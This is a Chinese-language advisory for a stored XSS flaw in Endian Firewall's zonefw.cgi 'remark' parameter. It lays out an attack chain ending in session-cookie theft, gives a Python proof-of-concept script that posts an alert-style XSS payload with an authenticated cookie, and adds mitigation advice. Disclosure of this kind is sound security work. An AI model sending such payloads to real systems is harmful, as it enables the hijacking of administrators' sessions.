CVE-2026-34809 CVSS 6.4 中危

CVE-2026-34809 Endian Firewall存储型XSS漏洞

披露日期: 2026-04-02

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-34809

漏洞类型

存储型跨站脚本 (Stored XSS)

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Endian Firewall

漏洞概述

Endian Firewall 3.3.25及更早版本中存在安全漏洞，允许经过身份验证的攻击者通过/cgi-bin/zonefw.cgi接口的remark参数实施存储型跨站脚本（XSS）攻击。攻击者可注入恶意JavaScript代码，该代码被存储在服务器端。当其他用户浏览包含该恶意代码的页面时，脚本将在其浏览器上下文中自动执行，进而可能导致窃取会话凭证、篡改页面内容或执行未授权操作。

技术细节

该漏洞的原理在于应用程序未能充分净化用户输入的`remark`参数。攻击者利用低权限账户登录系统后，向`/cgi-bin/zonefw.cgi`发送特制的HTTP请求，在`remark`字段中嵌入恶意的JavaScript代码（如`<script>`标签或事件处理器）。由于后端直接存储该数据而未进行HTML实体编码，当管理员或其他用户访问展示该备注信息的页面时，服务器会将未经过滤的恶意脚本返回给客户端。浏览器解析并执行该脚本，导致攻击者能够利用受害者的身份执行操作。根据CVSS 3.1评分，此漏洞攻击复杂度低，无需用户交互，且影响范围可延伸至其他用户，具有一定的安全风险。

攻击链分析

STEP 1

1. 获取凭证

攻击者需要获取Endian防火墙的低权限账户凭据，成功登录Web管理界面。

STEP 2

2. 注入Payload

攻击者访问/cgi-bin/zonefw.cgi接口，在提交表单的remark参数中构造并注入恶意JavaScript代码。

STEP 3

3. 恶意存储

服务器端未对输入数据进行有效过滤，将恶意脚本持久化存储在数据库或配置文件中。

STEP 4

4. 触发执行

当管理员或其他用户访问显示该备注信息的页面时，恶意脚本自动在浏览器中加载并执行。

STEP 5

5. 会话劫持

攻击者利用执行脚本窃取受害者的Session ID或Cookie，进而接管账户权限。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL configuration
target_url = "http://target-ip/cgi-bin/zonefw.cgi"

# Attacker's session cookie (Authentication required)
cookies = {
    "sid": "valid_session_cookie_here"
}

# Malicious payload to be injected
xss_payload = '<img src=x onerror=alert("CVE-2026-34809")>'

# Data payload for the vulnerable parameter
post_data = {
    "action": "save_zone",
    "remark": xss_payload  # Injecting into the vulnerable 'remark' parameter
}

try:
    # Sending the POST request to exploit the vulnerability
    response = requests.post(target_url, data=post_data, cookies=cookies)
    
    if response.status_code == 200:
        print("Payload sent successfully.")
        print("Check the administrative interface to verify the stored XSS execution.")
    else:
        print(f"Request failed. Status code: {response.status_code}")
        
except requests.exceptions.RequestException as e:
    print(f"An error occurred: {e}")

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施

在官方补丁发布前，建议管理员严格限制管理后台的访问来源IP，仅允许可信网络访问。定期审查防火墙规则中的备注字段，检查是否存在异常脚本字符。同时，建议用户在使用完管理后台后立即注销登录，并避免在访问管理界面时同时浏览其他不可信网站。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表